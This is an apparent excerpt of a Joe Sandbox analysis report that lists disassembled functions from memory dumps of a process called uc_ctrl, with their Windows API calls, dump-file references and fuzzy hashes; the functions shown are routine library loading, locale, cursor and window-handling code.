                                                                                              • GetProcAddress.KERNEL32(00000000,DwmSetIconicLivePreviewBitmap), ref: 6CF91869
                                                                                              • EncodePointer.KERNEL32(00000000), ref: 6CF91872
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Pointer$AddressEncodeProc$DecodeHandleLibraryLoadModule
                                                                                              • String ID: DwmSetIconicLivePreviewBitmap$dwmapi.dll
                                                                                              • API String ID: 2269242174-1757063745
                                                                                              • Opcode ID: 6c8023eaefe1c291f594eb63216619b605ddd17587293170e7aa068ffc3a5518
                                                                                              • Instruction ID: 0d96beaadc9af555c3ea397c848eaca797451767040aa3cffe5f97557e3bd247
                                                                                              • Opcode Fuzzy Hash: 6c8023eaefe1c291f594eb63216619b605ddd17587293170e7aa068ffc3a5518
                                                                                              • Instruction Fuzzy Hash: 00F0BB36942215ABEF015BA4DC08BAA3B7D9B0A2643104131FD18D6610DB70C4019AA1
                                                                                              Function 6CF9190C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36libraryloaderCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • DecodePointer.KERNEL32(00000000), ref: 6CF91945
                                                                                                • Part of subcall function 6CF90D03: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 6CF90D29
                                                                                                • Part of subcall function 6CF90D03: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 6CF90D39
                                                                                                • Part of subcall function 6CF90D03: EncodePointer.KERNEL32(00000000), ref: 6CF90D42
                                                                                                • Part of subcall function 6CF90D03: LoadLibraryExW.KERNEL32(?,00000000,00000800), ref: 6CF90D64
                                                                                              • GetProcAddress.KERNEL32(00000000,DwmSetWindowAttribute), ref: 6CF9192E
                                                                                              • EncodePointer.KERNEL32(00000000), ref: 6CF91937
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Pointer$AddressEncodeProc$DecodeHandleLibraryLoadModule
                                                                                              • String ID: DwmSetWindowAttribute$dwmapi.dll
                                                                                              • API String ID: 2269242174-3105884578
                                                                                              • Opcode ID: da8cc27724fb3c81347ad6d5294e88d067300f4cd9197e385dfff9dc7c3fe816
                                                                                              • Instruction ID: f5be2697c5edd046c9a9e4924fa2620eb36d843f6e06cb5c4b0f09f8f65c3ea2
                                                                                              • Opcode Fuzzy Hash: da8cc27724fb3c81347ad6d5294e88d067300f4cd9197e385dfff9dc7c3fe816
                                                                                              • Instruction Fuzzy Hash: 01F05436941315ABEF019B649C08B6E3EBD9B496A87108021FD28E7650DB70D811CAB1
                                                                                              Function 6CF918AB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35libraryloaderCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • DecodePointer.KERNEL32(00000000), ref: 6CF918E4
                                                                                                • Part of subcall function 6CF90D03: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 6CF90D29
                                                                                                • Part of subcall function 6CF90D03: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 6CF90D39
                                                                                                • Part of subcall function 6CF90D03: EncodePointer.KERNEL32(00000000), ref: 6CF90D42
                                                                                                • Part of subcall function 6CF90D03: LoadLibraryExW.KERNEL32(?,00000000,00000800), ref: 6CF90D64
                                                                                              • GetProcAddress.KERNEL32(00000000,DwmSetIconicThumbnail), ref: 6CF918CD
                                                                                              • EncodePointer.KERNEL32(00000000), ref: 6CF918D6
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Pointer$AddressEncodeProc$DecodeHandleLibraryLoadModule
                                                                                              • String ID: DwmSetIconicThumbnail$dwmapi.dll
                                                                                              • API String ID: 2269242174-2331651847
                                                                                              • Opcode ID: 703bc408d0c2d6948b3692e017cad694d4befb7f1b60fd64abc08da21700954e
                                                                                              • Instruction ID: 7058e88d19e9311ec1a3d3db2027ba7afc7ad3051a32b29751c5d1d8d642d4a4
                                                                                              • Opcode Fuzzy Hash: 703bc408d0c2d6948b3692e017cad694d4befb7f1b60fd64abc08da21700954e
                                                                                              • Instruction Fuzzy Hash: 16F08236A01215A7EF026BA9EC08BAB3EBC9B097793108031FD1897650DB70D8519EA1
                                                                                              Function 6CF917E9 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35libraryloaderCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • DecodePointer.KERNEL32(00000000), ref: 6CF91822
                                                                                                • Part of subcall function 6CF90D03: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 6CF90D29
                                                                                                • Part of subcall function 6CF90D03: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 6CF90D39
                                                                                                • Part of subcall function 6CF90D03: EncodePointer.KERNEL32(00000000), ref: 6CF90D42
                                                                                                • Part of subcall function 6CF90D03: LoadLibraryExW.KERNEL32(?,00000000,00000800), ref: 6CF90D64
                                                                                              • GetProcAddress.KERNEL32(00000000,DwmIsCompositionEnabled), ref: 6CF9180B
                                                                                              • EncodePointer.KERNEL32(00000000), ref: 6CF91814
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Pointer$AddressEncodeProc$DecodeHandleLibraryLoadModule
                                                                                              • String ID: DwmIsCompositionEnabled$dwmapi.dll
                                                                                              • API String ID: 2269242174-1198327662
                                                                                              • Opcode ID: 8f6c4094178087ab67ad0a0eff7efda1234f97f0ba6e25376d98ddccb1e8e1d2
                                                                                              • Instruction ID: 8c700c391e98742be41b5ef3f8ea579777a7ceb3b5374f2c30249a10077ef578
                                                                                              • Opcode Fuzzy Hash: 8f6c4094178087ab67ad0a0eff7efda1234f97f0ba6e25376d98ddccb1e8e1d2
                                                                                              • Instruction Fuzzy Hash: 31F0E935501211ABEF029764D8087AA3EBCAF093747148432EC04D7640EF74D8018AE1
                                                                                              Function 6CF9178E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 33libraryloaderCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • DecodePointer.KERNEL32(00000000), ref: 6CF917C7
                                                                                                • Part of subcall function 6CF90D03: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 6CF90D29
                                                                                                • Part of subcall function 6CF90D03: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 6CF90D39
                                                                                                • Part of subcall function 6CF90D03: EncodePointer.KERNEL32(00000000), ref: 6CF90D42
                                                                                                • Part of subcall function 6CF90D03: LoadLibraryExW.KERNEL32(?,00000000,00000800), ref: 6CF90D64
                                                                                              • GetProcAddress.KERNEL32(00000000,DwmInvalidateIconicBitmaps), ref: 6CF917B0
                                                                                              • EncodePointer.KERNEL32(00000000), ref: 6CF917B9
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Pointer$AddressEncodeProc$DecodeHandleLibraryLoadModule
                                                                                              • String ID: DwmInvalidateIconicBitmaps$dwmapi.dll
                                                                                              • API String ID: 2269242174-1901905683
                                                                                              • Opcode ID: f39183d930cc59d46095f826010bfb7ffbbe680c9e55ed14e8f98e8eb9d00bec
                                                                                              • Instruction ID: 4e838844d51110b48f012aa329ff31a919b2d1dfe9ebe383ee10cdc5ccce95ad
                                                                                              • Opcode Fuzzy Hash: f39183d930cc59d46095f826010bfb7ffbbe680c9e55ed14e8f98e8eb9d00bec
                                                                                              • Instruction Fuzzy Hash: 5CF0A73694521267FF0257B49C4871F3AFC4A4D6643108021FD15D7750DB64D4018EE3
                                                                                              Function 6CEE1FC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 32COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEE1FC7
                                                                                              • new.LIBCMT ref: 6CEE1FDE
                                                                                                • Part of subcall function 6CF0A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6CEE021B,00000054), ref: 6CF0A38B
                                                                                              • ??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038), ref: 6CEE1FF8
                                                                                                • Part of subcall function 6CEE1410: __EH_prolog3.LIBCMT ref: 6CEE1417
                                                                                                • Part of subcall function 6CEE1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6CEE1425
                                                                                                • Part of subcall function 6CEE1410: std::bad_exception::bad_exception.LIBCMT ref: 6CEE1467
                                                                                                • Part of subcall function 6CEE1410: _CxxThrowException.VCRUNTIME140(?,6CF13B5C,bad locale name), ref: 6CEE1475
                                                                                                • Part of subcall function 6CEE1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6CEE147E
                                                                                              • ??1_Locinfo@std@@QAE@XZ.MSVCP140(?,?,00000038), ref: 6CEE2019
                                                                                                • Part of subcall function 6CEE1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1525
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1534
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1548
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE155A
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE156C
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE157E
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1590
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
                                                                                              • String ID: @UAEXXZ
                                                                                              • API String ID: 2887603401-3608082955
                                                                                              • Opcode ID: f806adaff130a410fd382dcf2cd3a84d32e22d9b19d7f5cd10dd870e5d9ca8f7
                                                                                              • Instruction ID: 7f9d6b68c1e534ab8dbe580ceb78db2c877cf850f88a243fdf6a474eae652380
                                                                                              • Opcode Fuzzy Hash: f806adaff130a410fd382dcf2cd3a84d32e22d9b19d7f5cd10dd870e5d9ca8f7
                                                                                              • Instruction Fuzzy Hash: F5F090B1900306CBCB11EF94C491ACDB7B0FF08B48F70882ED4556BB80DBB0A648DB80
                                                                                              Function 6CFA4755 Relevance: 7.7, APIs: 5, Instructions: 155COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CFA475C
                                                                                              • GlobalLock.KERNEL32(00000000,?,?), ref: 6CFA485F
                                                                                              • DestroyWindow.USER32(?,?,?,?,6CFA4537,00000000), ref: 6CFA492D
                                                                                              • GlobalUnlock.KERNEL32(00000000,?,?,?,6CFA4537,00000000), ref: 6CFA493A
                                                                                              • GlobalFree.KERNEL32(00000000), ref: 6CFA4941
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Global$DestroyFreeH_prolog3_catchLockUnlockWindow
                                                                                              • String ID:
                                                                                              • API String ID: 571947920-0
                                                                                              • Opcode ID: a0390503ecadff60005a7dc5bc88edc4e04b5739c3b646d253e21dfe081713f4
                                                                                              • Instruction ID: aef0400f10403dba24887cf832e3d1fc227354d08a098ff141a260fdaf3e7f30
                                                                                              • Opcode Fuzzy Hash: a0390503ecadff60005a7dc5bc88edc4e04b5739c3b646d253e21dfe081713f4
                                                                                              • Instruction Fuzzy Hash: C6516D31E0121ADBDF05DFE4C880BEEBBB5AF08318F154159E911A7690DF349A06CFA6
                                                                                              Function 6CEECCE0 Relevance: 7.6, APIs: 5, Instructions: 146COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CEECCE7
                                                                                              • fgetwc.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CEECD3B
                                                                                              • ungetc.API-MS-WIN-CRT-STDIO-L1-1-0(?,?), ref: 6CEECE70
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog3_fgetwcungetc
                                                                                              • String ID:
                                                                                              • API String ID: 3107860115-0
                                                                                              • Opcode ID: 8bfa13220d43a7f88f20215244e18a257e8ca1438d089a8a423617865a6acf77
                                                                                              • Instruction ID: 51ef0e131cbdfeedc35a25785950fe66e75ba9b86a1563b72819c8c467170e77
                                                                                              • Opcode Fuzzy Hash: 8bfa13220d43a7f88f20215244e18a257e8ca1438d089a8a423617865a6acf77
                                                                                              • Instruction Fuzzy Hash: 37516035A0111ADFDF24DFA8C490AFDBBB5EF0D358F344529E802A7690D7319945CBA1
                                                                                              Function 6CFF6D4D Relevance: 7.6, APIs: 5, Instructions: 124COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetClientRect.USER32(00000000,6CFC0CBC), ref: 6CFF6D7C
                                                                                                • Part of subcall function 6CF95BCB: ClientToScreen.USER32(?,?), ref: 6CF95BDA
                                                                                                • Part of subcall function 6CF95BCB: ClientToScreen.USER32(?,?), ref: 6CF95BE7
                                                                                              • PtInRect.USER32(6CFC0CBC,?,?), ref: 6CFF6D96
                                                                                              • PtInRect.USER32(?,?,?), ref: 6CFF6E0F
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ClientRect$Screen
                                                                                              • String ID:
                                                                                              • API String ID: 3187875807-0
                                                                                              • Opcode ID: d058392fb6bc16cbe20485d9f46daacd0fa97543e9e6633c7013efaa8d18991f
                                                                                              • Instruction ID: 354a327c90d355ef5b1774609a86b7b1eb6b8d469183c6f5c0f394fedb46dc6d
                                                                                              • Opcode Fuzzy Hash: d058392fb6bc16cbe20485d9f46daacd0fa97543e9e6633c7013efaa8d18991f
                                                                                              • Instruction Fuzzy Hash: F9411F7290020AEFDF00CFA8C944ADEBBB5EF09304F104569F915FB650DB71AA46CB64
                                                                                              Function 6CFDA0A8 Relevance: 7.6, APIs: 5, Instructions: 113COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • LoadCursorW.USER32(?,00007904), ref: 6CFDA0E0
                                                                                              • LoadCursorW.USER32(?,00007905), ref: 6CFDA113
                                                                                              • LoadCursorW.USER32(00000000,00007F86), ref: 6CFDA13E
                                                                                              • CreatePen.GDI32(00000000,00000001,?), ref: 6CFDA1B6
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: CursorLoad$Create
                                                                                              • String ID:
                                                                                              • API String ID: 1516763891-0
                                                                                              • Opcode ID: b18d9344010ea59604474c12510c58288a20f3c9d591fe439bc315afe2029960
                                                                                              • Instruction ID: ceeff4a8fee52803f3cd537cf04ed52d19b49d00375885f5a13ed29817500954
                                                                                              • Opcode Fuzzy Hash: b18d9344010ea59604474c12510c58288a20f3c9d591fe439bc315afe2029960
                                                                                              • Instruction Fuzzy Hash: E9312A71A40200DFDB12ABB5C844FED32F8AF45358F2A0576E916DBB91EF34D4098E66
                                                                                              Function 6CEF29C0 Relevance: 7.6, APIs: 5, Instructions: 106COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CEF29C7
                                                                                              • frexp.API-MS-WIN-CRT-MATH-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000034), ref: 6CEF2A39
                                                                                              • ?_Ffmt@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAPADPADDH@Z.MSVCP140(?,?,0000004C,?,?,?,?,?,?,?,?,?,?,?,?,00000034), ref: 6CEF2A90
                                                                                              • _swprintf_s.MSPDB140-MSVCRT ref: 6CEF2A9D
                                                                                              • ?_Fput@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WPBDI@Z.MSVCP140(?,?,?,?,?,?,?,00000000), ref: 6CEF2AC6
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
